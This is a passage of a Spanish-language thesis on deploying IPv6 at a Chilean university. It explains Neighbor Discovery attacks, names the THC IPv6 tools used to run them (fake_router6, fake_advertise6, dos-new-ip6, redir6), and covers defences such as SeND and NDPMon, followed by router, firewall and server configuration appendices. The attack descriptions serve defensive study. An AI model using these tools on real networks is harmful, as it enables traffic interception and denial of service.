enrutamiento (RA) transportados sobre mensajes ICMPv6, los cuales contienen la siguiente información:
Prefijo(s) local(es): Los primeros 64 [bit] de una dirección IPv6
Dirección de enlace local del “router”.
Prioridad del “router”: Un valor entero que indica la prioridad de este “router”.
Cuando existen varios routers en el mismo enlace, los nodos utilizan
el de más alta prioridad.
Tiempo de vida del mensaje
Máxima unidad de transporte (MTU): Indica a los nodos la MTU a utilizar en el enlace.
Información adicional
A partir de los anuncios de enrutamiento (RA), los nodos pueden construir sus direcciones IPv6 mediante la combinación del prefijo local y su dirección física (MAC). Obtienen además la dirección de la ruta por omisión que deben agregar en sus tablas de enrutamiento. En laFigura 8.1 se observa como el “router” anuncia su presencia y permite a los equipos PC 1 y PC 2 configurar sus propias direcciones.
Figura 8.1 Configuración automática de direcciones.
62
Dado que no existe un mecanismo de autenticación incluido dentro de SLACC, un usuario malintencionado puede enviar mensajes RA que lo anuncien como un “router” de alta prioridad dentro de la red. De esta forma, todo el tráfico sería
redirigido a su equipo, con todos los problemas de seguridad que esto implica El atacante podría también enviar mensajes RA que indiquen un “router” de alta
prioridad que no existe actualmente de la red. De esta forma, todo el tráfico de la red sería descartado, tal como se indica en laFigura 8.2.
Figura 8.2 Ejemplo de ataque basado en configuración automática de direcciones.
Para ejecutar este ataque, sepuede utilizar la herramienta “fake_router6” incluida en el paquete THC IPv6. Dicha herramienta permite enviar anuncios de enrutamiento en donde se puede definir el prefijo a anunciar y la dirección de enlace local delrouter” “
a anunciar. Todos los anuncios creados con esta herramienta son enviados con alta prioridad, por lo que tienen preferencia por sobre los enviados por otros dispositivos.
8.2.2. Resolución de direcciones Cuando un nodo desea obtener la dirección física de una determinada dirección IPv6, se utiliza el siguiente procedimiento:
63
a) Se envía un mensaje de solicitud de vecino (”Neighbo r Solicitation”, NS) que contiene la dirección IPv6 a consultar. b) El nodo con la dirección IPv6 solicitada responde con un mensaje de anuncio de vecino (“Neighbor
Advertisement”, NA), que contiene su
dirección física (MAC).
Figura 8.3 Procedimiento de resolución de direcciones IPv6.
En la Figura 8.3 se observa que el procedimiento de resolución de direcciones es similar al utilizado en IPv4. Al igual que en la configuración automática, no se realiza autenticación del nodo solicitante ni del nodo que respondo a dicha solicitud. Debido a esto, un atacante puede responder cualquier mensaje de solicitud de vecino enviado por un nodo del enlace, enviando su propia dirección MAC u otra que estime conveniente. Los riesgos de este ataque es que un usuario mal intencionado puede falsear la dirección física del “router” presente en el enlace, redirigiendo todo el tráfico a su
propio equipo o a una dirección física inexistente. El problema aumenta cuando se considera que por especificaciones del protocolo IPv6, las entradas en la tabla de direcciones de un nodo se actualizan constantemente, generando una gran cantidad de mensajes de solicitud de vecinos.
64
Para ejecutar este ataque, se puede utilizar la herramienta“fake_advertise6” incluida en el paquete THC IPv6. Dicha herramienta permite enviar mensajes de anuncio de vecino en donde se puede definir la dirección IPv6 a anunciar, la dirección MAC asociada y el destinatario de los mensajes (normalmente se utiliza la dirección ff02::1 que identifica a todos los nodos IPv6 en un enlace) .
8.2.3. Detección de direcciones Duplicadas (DAD) El mecanismo de detección de direcciones duplicadas previene que dos nodos utilicen la misma dirección IPv6 en un enlace. Cada vez que un nodo desea utilizar cualquier tipo de dirección IPv6, envía un mensaje de solicitud de vecino preguntando por la dirección física de dicha dirección. Si no obtiene respuesta, significa que dicha dirección no está siendo utilizada actualmente, por lo que puede usarla sin problemas. Al no existir autenticación, un atacante podría fácilmente realizar un ataque de denegación de servicio (DoS) pretendiendo poseer todas las direcciones IPv6 posibles. Cada vez que un nodo desea utilizar una dirección IPv6, el atacante responde su solicitud de solicitud de vecino, impidiendo su uso.
Figura 8.4 Ejemplo de ata que basado en la detección de direcciones duplicadas.
65
Para ejecutar este ataque, se puede utilizar la herramienta “dos-new-ip6” incluida en el paquete THC IPv6. Dicha herramienta responde a todos los mensajes de solicitud de vecinos que se reciben en una determinada interfaz, independiente de la dirección IPv6 consultada. De esta forma, el resto de los nodos presentes en el enlace no pueden utilizar ninguna nueva dirección IPv6.
8.2.4. Redirección La redirección es un mecanismo basado en ICMPv6 que permite a un “router”
informar a otros nodos de un enlace la existencia de un mejor primer salto para llegar a una dirección o red determinada. Cuando un “router” recibe un paquete, revisa su
tabla de rutas y si encuentra que existe un mejor primer salto envía un mensaje de redirección al nodo que envió el paquete. El nodo al recibir un mensaje de redirección, actualiza su tabla de rutas y envía el paquete al nuevo primer salto. En la Figura 8.5 se observa cómo opera dicho procedimiento.
Figura 8.5 Procedimiento de redirección.
66
Al igual que en los casos anteriores, no existe autenticación para el envío de mensajes de redirección. El único mecanismo de protección existente consiste en que para que un mensaje de redirección enviado por un “router” sea válido, debe contener
una copia del paquete srcinal que causo el envío del mensaje de redirección. Sin embargo, un atacante puede inducir a un nodo generar paquetes con contenido conocido (como un mensaje ICMPv6 “echo request”) los cuales pueden ser utilizados
en mensajes de redirección falsos. Para ejecutar este ataque, se puede utilizar al herramienta “redir6” incluida en el paquete THC IPv6. Dicha herramienta genera mensajes de redirección falsos, que sobrescriben la tabla de rutas de un determinado nodo.
8.3. Medidas de protección 8.3.1. Protocolo SeND Secure Neighbor Discovery (SEND) El protocolo SeND es una extensión del protocolo de descubrimiento de vecinos (NDP) que añade características de seguridad y autenticación. Este define un nuevo mecanismo de autoconfiguración de direcciones, que obliga a los nodos a utilizar direcciones generadas a partir de una operación criptográfica. Las direcciones generadas criptográficamente (CGAs) son direcciones IPv6 generadas a partir de una llave pública y otros parámetros adicionales. Su uso permite realizar una asociación segura entre una dirección IPv6 y una llave criptográfica, permitiendo la autenticación de los mensajes enviados. Un nodo que genera una dirección CGA debe obtener un par de llaves RSA, para luego calcular su identificador de interfaz (los 64 bits menos significativos de una dirección IPv6) utilizando el algoritmo Secure Hash 1 tal como se indica en laFigura 8.6.
67
Figura 8.6 Generación de una dirección CGA.
SeND agrega parámetros adicionales a los mensajes del protocolo de descubrimiento de vecinos. Cada mensaje enviado por un nodo que implementa SeND incluye los parámetros utilizados para la generación de su propia dirección CGA y una firma generada con su llave privada. De esta forma, el receptor puede verificar la identidad de quien envía el mensaje. El mayor obstáculo que existe actualmente para implementar SeND en la red institucional es la baja cantidad de dispositivos que lo implementan. Si bien todos los equipos de red Cisco instalados en la red institucional soportan su uso, no existen planes para que los sistemas operativos Windows XP y Windows Vista lo incorporen en algún futuro cercano. Otro problema asociado al uso de SeND es que las operaciones asociadas al uso de llaves criptográficas implican una carga adicional a la CPU, generando una oportunidad para un posible ataque de denegación de servicio por sobrecarga de CPU. Por estas razones, el uso de SeND no es una alternativa viable aún para mitigar los problemas causados por las vulnerabilidades del protocolo de descubrimiento de vecinos.
8.3.2. Mecanismos de seguridad en “switches” Los ataques mencionados anteriormente son similares a otros existentes en IPv4. Para ellos, Cisco ha desarrollado un conjunto de características llamadas “Catalyst Integrated Security Features” (CISF), que permiten entre otras cosas aplicar listas de
acceso a cada puerto individualmente. Esto permite definir políticas de seguridad para cada puerto, impidiendo el envío de mensajes truncados que. 68
Para IPv6, Cisco ha anunciado una solución similar que consta de los siguientes elementos
Listas de acceso IPv6 para VLAN: Permiten descartar todos los mensajes RA enviados desde una dirección no permitida.
Listas de acceso IPv6 para puertos: Pueden ser usados para descartar todos los mensajes RA enviados desde un puerto no autorizado del“switch”.
Inspección dinámica de mensajes: Permite descartar aquellos mensajes del protocolo NDP que contienen información falsa o modificada.
Dicha solución se espera esté disponible a partir del 2010. Sin embargo, una solución de este tipo requiere necesariamente cambios de hardware, por lo que posiblemente no se pueda utilizar en los equipos actuales de la red institucional UTFSM.
8.3.3. Microsegmentación Otra forma de reducir el impacto de ataques locales que se basan en las vulnerabilidades del protocolo ICMPv6 es reduciendo el número de usuarios a los que afectan. La microsegmentación consiste en dividir redes de gran tamaño en otras más pequeñas. De acuerdo a la distribución de direcciones IPv6 al interior de la UTFSM, descrita en la sección 5.4 de este documento, cada unidad administrativa de la Universidad podrá disponer con más de 65000 redes para su uso particular. Mediante el uso de VLANS, se puede aislar áreas al interior de cada unidad y otorgar un prefijo IPv6 particular a cada una de ellas. Si bien esta técnica puede ser realizada con IPv4, el gran número de direcciones que otorga IPv6 permite realizar segmentaciones aun más pequeñas y fáciles de administrar
69
8.3.4. NDPMon La herramienta de código libre NDPMon (Neighbor Discovery Protocol Monitor) permite monitorear una red local y alertar cuando se envíen mensajes ICMPv6 sospechosos. NDPmon es una de las pocas herramientas que en la actualidad permite detectar ataques que se basan en la falsificación y alteración de mensajes del protocolo de descubrimiento de vecinos. NDPMon posee un archivo de configuración XML en donde se especifica las direcciones física e IPv6 de los dispositivos autorizados para funcionar como routers dentro de una red local. NDPMon alerta cuando un dispositivo no autorizado intenta funcionar como “router” dentro de la red. Además es capaz de detectar todos los
ataques mencionados en las secciones anteriores, junto a otras situaciones o acciones sospechosas. Una de las desventajas de NDPMon es que solo permite detectar dichos ataques, no posee herramientas para contrarrestarlos. Además, y dada la naturaleza de los ataques, NDPMon debe ejecutarse en un nodo que se encuentre conectado físicamente en la red a vigilar. Dicho desventaja se puede solucionar mediante el uso del modo monitor en una de las puertas de un “switch”, que permite enviar una copia de los paquetes
cursados en distintas VLANs a un determinado puerto del “switch”. Con el fin de comprobar la eficacia de NDPMon, se armaron cuatro escenarios de prueba (detallados en el anexoD), en los cuales se ejecutaron ataques basados en las vulnerabilidades mencionadas en la sección 8.2 de este documento. Los resultados demostraron que NDPMon es capaz de detectar correctamente los ataques basados en las vulnerabilidades presentes en ICMPv6 (configuración automática de direcciones, resolución de direcciones, detección de direcciones duplicadas y redirección).
70
Capítulo 9
9.Conclusiones 9.1. Conclusiones generales Durante el presente trabajo se diseñó e implemento correctamente una red IPv6 operando en modalidad “dual -stack” sobre la red institucional de la UT FSM.
La red
permite conectar a las distintas unidades administrativas y departamentos directamente a Internet mediante IPv6, sin necesidad de utilizar túneles o traducción de protocolos. Se pudo comprobar que el grado de desarrollo actual del protocolo IPv6 permite sin mayores contratiempos la implementación de redes que funcionan únicamente sobre IPv6. El soporte IPv6 existente en los equipos de red permite prescindir totalmente de IPv4 para la totalidad de servicios que una red tradicionalmente ofrece. Incluso funciones avanzadas como MPLS, IPSec y MobileIP ya cuentan con soporte oficial en redes IPv6. Los sistemas operativos y programas computacionales han demostrado también poseer un soporte IPv6 lo suficientemente maduro para permitir su uso en ambientes IPv6. Se espera que los sistemas operativos sin soporte, o con soporte parcial, sean progresivamente reemplazados a medida que aumenta la adopción de IPv6 El trabajo realizado demostró que es necesario hacer una revisión exhaustiva de las alternativas al momento deactualizar o implementar unared IPv6. Se descubrió que muchos fabricantes anuncian soporte IPv6 en sus productos, pero en la realidad dicho soporte es parcial o se incluirá en futuras actualizaciones. En dichos casos son útiles las iniciativas como el programa “IPv6 Ready” [21] que certifican el soporte IPv6 de equipos y “software”,
realizando una serie de pruebas sobre ellos.
En el capítulo 8 de este trabajo se trato el tema de seguridad en las redes IPv6. A pesar del gran avance que se ha hecho en este tema en los últimos años, fue posible 71
constatar que aun existen problemas y vulnerabilidades importantes en las redes IPv6. Los ataques presentados hacen necesario tomas las debidas precauciones cuando se implementan redes IPv6 a gran escala. Se constató que faltan soluciones para contrarrestar eficazmente las vulnerabilidades del protocolo ICMPv6. La red IPv6 presentada en este trabajo constituye la base para futuros trabajos y actualizaciones de la red en pos de una integración total del protocolo en todos los equipos y servicios otorgados por la red institucional de la UTFSM. El plan de direccionamiento IPv6 jerárquico desarrollado permite proveer de forma ordenada de direcciones IPv6 a todos los usuarios de la red institucional, dejando un gran espacio disponible para futuros campus y unidades administrativas en la UTFSM. Se espera que durante los próximos años IPv6 tome mayor protagonismo en Internet, desplazando lentamente al protocolo IPv4. El trabajo realizado permite a la UTFSM estar preparada para las futuras necesidades de los usuarios de su red institucional, marcando una tendencia que se espera sea ejemplo para otras instituciones de educación superior.
9.2. Trabajo Futuro 9.2.1. Plan de actualización de la red. Tal como se describe en el capítulo 4 de este trabajo, la red IPv6 descrita no considera todos los tramos y secciones de la red institucional UTFSM. Una futura actualización total de la red debiese considerar los siguientes aspectos:
Análisis de la red WIFI UTFSM: La red WIFI UTFSM se maneja de forma centralizada y utiliza DHCPv4 para la asignación de direcciones. Es necesario revisar el soporte IPv6 de los controladores WIFI existentes y evaluar alternativas para otorgar direcciones IPv6 en conjunto con las direcciones IPv4. Dado el gran número de usuarios de la red WIFI, es necesario también revisar y aplicar los conceptos de seguridad presentados en el capítulo8 de este documento.
72
Integración de campus y sedes: Los campus y sedes están conectados a la red institucional mediante dos ISP diferentes. Es necesario revisar las posibilidades de poder ofrecer IPv6 en los enlaces hacia los campus junto a la configuración del protocolo de enrutamiento entre ellos.
Análisis de redes y servicios en departamentos de Electrónica e Informática: Los departamentos de Electrónica e Informática de la UTFSM poseen su propia red de servicios interna, las cuales no fueron consideradas en este trabajo. Es necesario generar una instancia de colaboración y asesoramiento a dichos departamentos para poder otorgar conectividad IPv6 al interior de sus redes.
9.2.2. Tecnologías y protocolos complementarios El protocolo IPv6 facilita la implementación y uso de una diversidad de protocolos. La implementación de la red IPv6 en la UTFSM permite futuros trabajos en torno a los siguientes protocolos:
IPSec: El uso de IPv6 facilita la implementación de enlaces seguros mediante el uso de IPSec. Aún cuando es posible utilizar IPv4 para ellos, el utilizar IPv6 permite realizar enlaces seguros a través de Internet.
MobileIPv6: El concepto de movilidad IP existe en IPv4, pero con MobileIPv6 se han eliminado los principales problemas, entre ellos el enrutamiento triangular. Los equipos utilizados en la actualización de la red institucional, junto a los equipos disponibles en los laboratorios de Telemática, permiten la configuración de escenarios en donde se pueda utilizar MobileIPv6.
Calidad de servicio: Dentro de los cambios en el protocolo IPv6, cabe destacar el mejor soporte a los modelos de calidad de servicio. En la literatura existen pocos trabajos en torno a cual es el real impacto de dichos cambios en el desempeño de los modelos IntServ y DiffServ.
73
Bibliografía [1] IPv4 Address Report. [En línea] [consulta: 20 de Septiembre 2008] [2] INFORMATION Sciences Institute, University of Southern California. RFC 791 Internet Protocol Darpa Internet Program Protocol Specification. Septiembre 1981. [3] SOLENSKY, Frank. Continued Internet Growth. Proceedings of the 18th Internet Engineering Task Force. IEEE, 1990, pp 59-61. [4] CHARNIE, J. Statement to the comission on population and development. [En línea] [consulta: 20 de Septiembre 2008] [5] IEKEL-JOHNSON, S., LABOVITZ, C., MCPHERSON, D. y RINGBERG, H. Tracking the IPv6 Migration.[En línea] [consulta : 10 de Marzo 2009]. [6] GROSETETE, Patrick, POPOVICIU, Ciprian y WETTLING, Fred. Global IPv6 Strategies: From Business Analysis to Operational Planning. Estados Unidos, CiscoPress, 2008. 456 p. [7] BRADNER, S., MANKIN, A. RFC 1752: The Recommendation for the IP Next Generation Protocol. Enero 1995. [8] DEERING, S., HINDEN, R. RFC 1883 Internet Protocol, Version 6 (IPv6) Specification. Diciembre 1995. [9] BERNERS-LEE, T., FIELDING R. y MASINTER, L. RFC 3986 Uniform Resource Identifier (URI): Generic Syntax. Enero 2005.
74
[10] CONTA, A., DEERING, S. y GUPTA, M. RFC 4443 Internet Control Message Protocol (ICMPv6) for the Internet Protocol Version 6 (Ipv6) Specification. Marzo 2006. [11] THOMSON, S., NARTEN, T. RFC 2462 IPv6 Stateless Address Autoconfiguration. Diciembre 1998. [12] GRANZOTTO, Patricio A. Instalacion y puesta en marcha de una red IPv6 y análisis de sus características. Valparaíso. UTFSM, Departamento de Electrónica, 2004. 90 h. [13] GUERRA, Rodrigo O.y RODRÍGUEZ, Javier E. Evaluacion y comparacionde los protocolos Internet versión (IPv4) y version 6 (IPv6) en una Red Experimental. Memoria (Ingenierio Civil Electrónico). Valparaíso. UTFSM, Departamento de Electrónica, 2004. 148 h. [14] CISCO Systems. Catalyst 3750 Switch Software Configuration Guide. Estados Unidos, 2006. 1178 p. [15] Juniper Network EX4200 Datasheet. [Enlínea] < www.juniper.net/us/en/local/pdf/datasheets/1000215-en.pdf> [consulta: 10 de Agosto 2008]. [16] Cisco Asa Software Version 7.0 Data Sheet. [En línea] [consulta: 10 de Agosto 2008]. [17] Foros de soporte Juniper. [En línea] [consulta: 10 de Agosto 2008]. [18] Cisco StackWise Techonology White Paper. [En línea] [consulta: 10 de Agosto 2008].
75
[19] BATES, T., CHANDRA, R. y REKHTER, Y. RFC 4760 Multiprotocol Extensions for BGP-4. Enero 2007. [20] Performance-Comparision Testing of IPv4 and IPv6 Throughput and Latency on Key Cisco Router Plataforms. [En línea] < http://www.cisco.com/web/strategy/docs/gov/IPv6perf_wp1f.pdf> [consulta: 10 de Enero 2009] [21]Cisco Catalyst 6500 with Supervisor 720 10 Gigabit Ethernet Performance Test. [En línea] < http://www.eantc.com/fileadmin/eantc/downloads/test_reports/2003-2005/EANTCSummary-Report-Cisco-10GE-Catalyst6500-Supervisor720.pdf> [consulta: 10 de Enero 2009] [22] Catalyst 3750 Datasheet. [En línea] [consulta: 10 de Enero 2009]. [23] THC-IPv6 Attacking the IPv6 protocol suite. [En línea] [consulta: 5 de Diciembre 2008.] [24] IPv6 Ready Logo program. [En línea] [consulta: 10 de Marzo 2009] [25] MCCLOGHRIE, K. RFC 2011 SNMPv2 Management Information Base for the Internet Protocol using SMIv2. Noviembre 1996.
76
Anexo A
A. Códigos direcciones IPv6 UTFSM A.1. Casa Central En la Tabla A.1 se presentan los códigos del campo “Unidad”, descrito en la sección, 5.4, asignados a las diversas unidades administrativas y departamentos de la Casa Central de la UTFSM. Tabla A.1 Códigos campo “Unidad” direcciones IPv6 Casa Ce ntral
Unidad Dirección Central de Servicios Computacionales (DCSC) Arquitectura Ciencia de Materiales Defider Electricidad Electrónica E. Humanísticos Física Industrias Informática Matemática Mecánica Obras Civiles Procesos Químicos Química 3ie Biotecnología CIMA Ing. Diseño Productos FONDEF (J. Pontt) Rectoría Vicerrectoría Académica Vicerrectoría de Asuntos Económicos y Administrativos Secretaría General Contraloría General Dirección General de Comunicaciones (DGC) Dirección General de Planificación y Desarrollo (DGPD) Dirección General de Docencia (DGD) Dirección General de Investigación y Postgrado (DGIP)
Código 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 77
Unidad Dirección General de Asistencia Técnica (DGAT) Dirección General de Finanzas Dirección de Admisión Dirección de Difusión Cultural (DDC) Dirección de Recursos Humanos Dirección de Relaciones Estudiantiles(Bienestar Estudiantil)
Código 29 30 31 32 33 34
Dirección de Estudios Biblioteca Central Oficina de Asuntos Internacionales (OAI) Dirección de Infraestructura y Servicios (DIS) Servicios Computacionales Administrativos (DESCAD) Organizaciones Estudiantiles
35 36 37 38 39 40
78
Anexo B
B. Configuración de equipos red IPv6 Tomando en cuenta el esquema de red presentado en la, en este anexo se detallan los procedimientos utilizados para configurar los equipos de la red IPv6 de la UTFSM. Las configuraciones presentadas en este anexo son un extracto de las utilizadas en la red institucional, las srcinales no han sido incluidas por motivos de seguridad. En la Figura B.1 se muestran las direcciones IPv4 e IPv6 asignadas a los equipos configurados.
Figura B.1 Diagrama configuración equipos red IPv6 UTFSM.
79
B.1. Configuración equipo border-gw El equipo border-gw cumple la función de “router” de borde en la red institucional de la UTFSM. Utiliza el protocolo BGP4 junto a las extensiones multiprotocolo (MPBGP), para intercambiar información sobre redes y rutas IPv4/IPv6. Respecto a su configuración, es necesario destacar que:
Es necesario activar la función de enrutamiento IPv6 mediante el comando “ipv6 unicast-routing”
Al momento de activar el comando “address -family ipv6”, automáticamente
toda la información referente a intercambio de rutas IPv4 vía BGP, se reordena dentro de “address-family-ipv4”. No fue necesario actualizar el sistema operativo IOS de este dispositivo. En la Tabla B.1 se muestra un extracto de la configuración utilizada en el equipo. Tabla B.1 Configuración gw-border (extracto).
! ipv6 unicast-routing ! interface FastEthernet0/0 ip address 200.1.21.165 255.255.255.224 duplex auto speed auto ipv6 address 2800:270:0:1::1/64 !interface FastEthernet2/1 ip address 208.178.62.10 255.255.255.224 duplex auto speed auto ipv6 address 2001:450:2002:e8::2/64 ! router bgp 26610 bgp log-neighbor-changes neighbor 2001:450:2002:e8::2 remote-as 3549 neighbor 208.178.62.9 remote-as 3549 ! address-family ipv4 neighbor 208.178.62.9 activate no auto-summary 80
no synchronization network 200.1.20.0 network 200.1.21.0 exit-address-family ! address-family ipv6 neighbor 2001:450:2002:e8::1 activate neighbor 2001:450:2002:e8::1 prefix-list bgp_salida out
network 2800:270::/32 exit-address-family ! ip classless ip route 200.1.20.0 255.255.255.0 200.1.21.166 ! ! no ip http server no ip http secure-server ! snmp-server community public RO ipv6 route 2800:270::/32 2800:270:0:1::2 ! ! ipv6 prefix-list bgp_salida seq 5 permit 2800:270::/32
Los comandos presentados en laTabla B.2 son útiles al momento de diagnosticar problemas de configuración en este dispositivo.13 Tabla B.2 Comandos IOS para diagnóstico de equipo gw- border.
Comando ping ipv6 “direccionIPV6” show bgp ipv6 unicast show interfaces accounting show ipv6 interface show ipv6 neighbors
Acción Realiza un ping ipv6 Muestra las redes y rutas intercambiadas mediante BGP Muestra el trafico IPv4/IPv6 por cada interfaz Muestra la configuración IPv6 de las interfaces. Muestra información respecto a los vecinos que anuncian redes IPv6.
B.2. Configuración equipo firewall-primary El equipo firewall-primary funciona como el “firewall” de borde de la red institucional UTFSM. Dicho equipoestá configurado con la tecnología “Fail-Over”, 13
Comandos válidos para IOS 12.4, versiones anteriores pueden tener distinta sintaxis. 81
que permite que en caso de falla del equipo, un equipo secundario, en este caso el equipo firewall-secundary, asuma automáticamente sus funciones. Al igual que el equipo gw-border, no fue necesario actualizar el sistema operativo de este equipo. Respecto a la configuración del equipo, es necesario destacar lo siguiente:
Las listas de acceso (ACL) que se refieran a tráfico IPv6 deben poseer un nombre, no se pueden utilizar listas identificadas con números o con nombres cuyo primer carácter sea un número.
Las listas de acceso mostradas acá son solo una referencia, las listas utilizadas en la realidad son más complejas.
En cada lista de acceso aplicada a tráfico IPv6, existen una serie de reglas implícitas que permiten el funcionamiento del protocolo Neighbor Discovery. En la se aprecian dichas reglas. Tabla B.3 Reglas implícitas en una ACL IPv6.
permit icmp any any nd-na permit icmp any any nd-ns deny ipv6 any any
En la Tabla B.4 se presenta un extracto de la configuración del equipo.
82
Tabla B.4 Configuración equipo fw-primary (extracto).
interface Ethernet0/0 nameif inside security-level 100 no ip address ipv6 address 2800:270:0:2::1/64 ! interface Ethernet0/1 nameif dmz security-level 50 ip address 200.1.20.1 255.255.255.0 ipv6 address 2800:270:0:a::1/64 ! interface Ethernet0/2 nameif outside security-level 0 ip address 200.1.21.166 255.255.255.252 ipv6 address 2800:270:0:1::2/64 ! access-list ipv4-dmz extended permit ip any any access-list ipv4-dmz extended permit icmp any any access-list ipv4-out extended permit ip any any access-list ipv4-out extended permit icmp any any access-list ipv4-in extended permit icmp any any pager lines 24 mtu inside 1500 mtu dmz 1500 mtu outside 1500 ipv6 route outside ::/0 2800:270:0:1::1 ipv6 access-list ipv6-in permit icmp6 any any ipv6 access-list ipv6-in permit tcp any 2800:270:0:a::/64 eq www ipv6 access-list ipv6-out permit icmp6 any any ipv6 access-list ipv6-out permit tcp any 2800:270:0:a::/64 eq www ipv6 access-list ipv6-dmz permit ip any any icmp unreachable rate-limit 1 burst-size 1 asdm image disk0:/asdm-522.bin no asdm history enable arp timeout 14400 access-group ipv4-in in interface inside access-group ipv4-dmz in interface dmz access-group ipv4-out in interface outside access-group ipv6-dmz in interface dmz access-group ipv6-in in interface inside access-group ipv6-out in interface outside route outside 0.0.0.0 0.0.0.0 200.1.21.165 1
83
B.3. Configuración equipo sw-inside Los tres “switches” Catalyst 3750, configurados en forma de pila, funcionan como el “switch” de núcleo de
la red UTFSM. Su principal función es realizar el
enrutamiento entre todas las VLANs configuradas en la red institucional y hacia el exterior de la red. A diferencia de los otros equipos, fue necesario realizar una actualización previa del sistema operativo en estos tres equipos. El enrutamiento IPv6 y la posibilidad de configurar direcciones IPv6 en las interfaces asociadas
a las VLANs son
características que no están disponibles en familia “IP base” del sistema IOS. Fue actualizar los tres equipos a la versión 12.2.50 de la familia “IP Services” del s istema IOS. Una de las ventajas de la configuración tipo “StackWise”, es que mediante el comando “archive download-sw”, es posible actualizar simultáneamente el sistema
operativo de todos los equipos de la pila. En la se muestra cómo funciona la configuración “dual-stack” en este dispositivo. La interfaz virtual “VLAN 20” funciona como puerta de enlace para los equipos
funcionando sobre IPv4 e IPv6. Para estos últimos cumple además la función de enviar los mensajes de anuncio de “router” (RA) necesarios para el proceso de autoconfiguración de direcciones.
84
Figura B.2 Diagrama configuración "dual-stack" de VLANs en sw-inside.
En la Figura B.2 se muestra la configuración de la interfazvirtual “VLAN 20” señalada. Es necesario repetir dicha configuración por cada VLAN en donde se desee otorgar conectividad IPv6 hacia Internet. Tabla B.5 Configuración interfaz VLAN Catalyst 3750.
interface Vlan20 description VLAN DualStack ip address 200.1.16.32 255.255.255.0 ipv6 address 2800:270:10:3::1/64 ipv6 enable !
En el equipo sw-inside se debe configurar además las rutas por omisión IPv4 e IPv6 apuntando hacia la interfaz “inside” del firewall fw-primary. Para ello se utilizan los comandos “ipv4 route” e “ipv6 route” según corresponda . Además, y al igual que en el equipo gw-border, se debe activar el enrutamiento IPv6 con el comando “ipv6 unicast-routing”.
85
Anexo C
C. Configuración de un servidor en una red IPv6 Con el fin de comprobar el soporte de diversos servicios de red, se realizó la configuración de un servidor FREEBSD 7.1
C.1. Configuración de direcciones Para configurar una dirección IPv6 en una determinada interfaz, se debe agregar al archivo /etc/rc.conf la información presentada en laTabla C.1. Tabla C.1 Configuración IPv6 de una interfaz. ipv6_enable=”YES” ipv6_ifconfig_lnc0=”2800:270:0:a::3 prefixlen 64”
Alternativamente
se
puede
utilizar
el
comando
“ifconfig
lnc0
inet6
2800:270:0:a::3”. Para verificar la correcta configuración, se puede utilizar el comando “ping6”.
C.2. NET-SNMP Una vez instalado el software net-snmp, se debe agregar la información presentada en la Tabla C.2 al archivo “/usr/local/share/snmp/snmpd.conf”. Tabla C.2 Configuración demonio snmpd.
agentaddress udp6:161,tcp6:161,udp:161,tcp:161 rocommunity lectura rwcomunnity escritura rocommunity6 lectura rwcommunity6 escritura
86
La configuración presentada crea las comunidades lectura y escritura, las que pueden ser utilizadas para realizar consultar SNMP mediante IPv4 ó IPv6. Una vez iniciado el demonio, se puede verificar su funcionamiento con el comando “snmpwalk -v2c
-c lectura udp6:[::1]”.
C.3. MRTG Una vez instalado MRTG, se debe configurar para que monitoree un determinado equipo. Mediante el comando presentado en laTabla C.3 se crea en la carpeta “/usr/local/share/mrtg/localhost” los archivos necesarios para monitorear a través de
IPv6 al equipo local. Tabla C.3 Creación archivos MRTG.
cfgmaker --enable-ipv6 --global "Workdir:/usr/local/share/mrtg/localhost" lectura@[::1]:161 >localhost.cfg
C.4. Nagios Una vez instalado Nagios, se debe modificar la información del archivo “/usr/local/etc/nagios/objects/localhost”
de acuerdo a lo mostrado en la Tabla C.4
para que Nagios pueda monitorear al equipo “localhost” a través de IPv6. Tabla C.4 Configuración Nagios.
Define host{ Use FreeBSD-server hostname localhost Alias localhost Address 2800:270:0:a::3 }
87
C.5. BIND Para que BIND responda correctamente a consultas DNS realizadas a la dirección IPv6 del servidor, se debe agregar la información presentada en laTabla C.5 al archivo “/var/named/etc/namedb/named.conf”. Tabla C.5 Configuración named.conf.
listen-on-v6 {any;}; zone "utfsm.cl" { type master; file "/etc/namedb/utfsm.cl.hosts"; }; zone "0.7.2.0.0.0.8.2.ip6.arpa" { type master; file "/etc/namedb/0.7.2.0.0.0.8.2.ip6.hosts"; };
El archivo de zona del servidor y el archivo para consultas inversas se encuentran detallados en las tablas C.6 y C.7. Tabla C.6. Archivo utfsm.cl.0.7.2.0.0.0.8.2.ip6.arpa.hosts
$ttl 38400 utfsm.cl.
IN
utfsm.cl. IN ns.utfsm.cl. IN www.ipv6.utfsm.cl.
SOA ns.utfsm.cl. admin.utfsm.cl. ( 1234296780 10800 3600 604800 38400 ) NS ns.utfsm.cl. AAAA 2800:270:0:A::3 IN AAAA 2800:270:0:A::3
Tabla C.7 Archivo 0.7.2.0.0.0.8.2.ip6.hosts
$ttl 38400 0.7.2.0.0.0.8.2.ip6.arpa. IN SOA ns.utfsm.cl. admin.utfsm.cl. ( 1234297604 10800 3600 604800 38400 ) 0.7.2.0.0.0.8.2.ip6.arpa. IN NS ns.utfsm.cl. 2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.a.0.0.0.0.0.0.0.ip6.arpa. IN PTR ns.utfsm.cl. 3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.a.0.0.0.0.0.0.0.ip6.arpa. IN PTR www.ipv6.utfsm.cl.
88
C.6. Apache Para el correcto funcionamiento de MRTG y Nagios, se debe agregar la información presentada en la Tabla C.8 al archivo “/usr/local/etc/apache22/httpd.conf”. Apache por omisión responde peticiones en todas las direcciones IPv4 e IPv6 del equipo en que se ejecuta. Tabla C.8 Archivo /usr/local/etc/apache22/httpd.conf
AllowOverride None Order Allow,deny Allow from all Alias /mrtg /usr/local/etc/mrtg/localhost/ AllowOverride AuthConfig Options ExecCGI Order allow,deny Allow from all Options None AllowOverride AuthConfig Order allow,deny Allow from all ScriptAlias /nagios/cgi-bin/ /usr/local/www/nagios/cgi-bin Alias /nagios /usr/local/www/nagios
89
Anexo D
D. Pruebas de seguridad en una red IPv6 D.1. Descripción del escenario de pruebas Con el fin de verificar las vulnerabilidades del protocolo ICMPv6 descritas en el capítulo 8, se armó el escenario de pruebas descrito en laFigura D.1.
Figura D.1 Escenario para pruebas de vulnerabilidades ICMPv6.
